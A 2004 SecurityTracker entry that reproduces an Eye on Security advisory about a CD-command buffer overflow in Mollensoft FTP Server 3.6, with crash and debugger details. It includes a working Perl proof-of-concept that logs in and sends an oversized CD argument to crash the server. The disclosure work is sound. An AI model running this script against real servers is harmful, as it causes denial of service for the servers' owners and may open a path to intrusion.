Mollensoft FTP Server Can Be Crashed By Remote Authenticated Users With a CD Command
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SecurityTracker Alert ID: 1010328
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SecurityTracker URL: http://securitytracker.com/id?1010328
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: May 29 2004
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Impact: Denial of service via network, Execution of arbitrary code via network, User access via network
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Exploit Included: Yes
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Advisory: Eye on Security
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Version(s): 3.6
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Description: A buffer overflow vulnerability was reported in the Molensoft FTP Server in the processing of the CD command. A remote authenticated user can cause the FTP service to crash.
Chintan Trivedi of Eye on Security Research Group India reported that a remote authenticated user can issue a specially crafted CD
command with 238 bytes to trigger the overflow and cause the FTP daemon to crash.
The report indicates that if properly exploited,
a remote authenticated user may be able to gain access to the target system.
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Impact: A remote authenticated user can cause the FTP service to crash.
A remote authenticated user may be able to execute arbitrary code on the target system.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.mollensoft.com/product2.htm (Links to External Site)
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Cause: Boundary error
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Underlying OS: Windows (Any)
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Reported By: Chintan Trivedi <chesschintan@hotmail.com>
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Message History:
None.
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Source Message Contents
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Date: 28 May 2004 05:38:45 -0000
From: Chintan Trivedi <chesschintan@hotmail.com>
Subject: Mollensoft ftp Server ver 3.6 Buffer overflow
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[ Mollensoft ftp Server ver 3.6 Buffer overflow ]
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EOS Advisory - http://www.eos-india.net
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Vendor : http://www.mollensoft.com
Version : 3.6 (latest)
Vulnerability : Buffer Overflow
About Product
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Mollensoft Lightweight FTP Server is a powerful, reliable FTP server for Windows95/98/NT/2000. It in
cludes New Security and Faster,
More Efficient Rules Based Access, Live Client activity Window as well as a specific Client breakdow
n window (below) and significant
enhancement in speed/stability and is especially designed for Intranet Use!
(direct quote from website)
Description
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A buffer overflow vulnerability exists in its "CD" command which can lead to READ any memo
ry location. An attacker can pass a string
of 238 bytes to the "CD" command to cause this overflow.
ftp> CD AAAAAAA...(238 times)
The ftpd deamon at this point crashes with an error message saying
"The instruction at 0x50e0931f referenced memory at 0x41414141. The memory could not be read."
On debugging the process, the instruction at memory location "0x50E0931F" is found to be "
CMP BYTE PTR DS:[ESI], 1F" And the register
ESI contains "41414141". So basically the application is trying to READ from 0x41414141. T
hus in this manner an attacker can force
the application to READ from any memory location. In worst cases if properly exploited the vulnerabi
lity can also lead to a remote
exploit giving complete access to the vulnerable system.
Proof Of Concept
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# C:\Active Perl\perl
# POC for mollensoft ftp server 3.6
# Will crash the deamon
use IO::Socket::INET;
$host = "localhost";
$port = 21;
$buffer = "A" x 238;
$socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
print $socket "USER root\r\n";
$socket->recv($test,100);
print $test;
print $socket "PASS password\r\n";
$socket->recv($test,100);
print $test;
print $socket "CD $buffer\r\n";
$socket->recv($test,100);
print $test;
close($socket);
Credits
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Chintan Trivedi - chesschintan [at] hotmail.com
http://www.eos-india.net
Eye on Security Research Group - India
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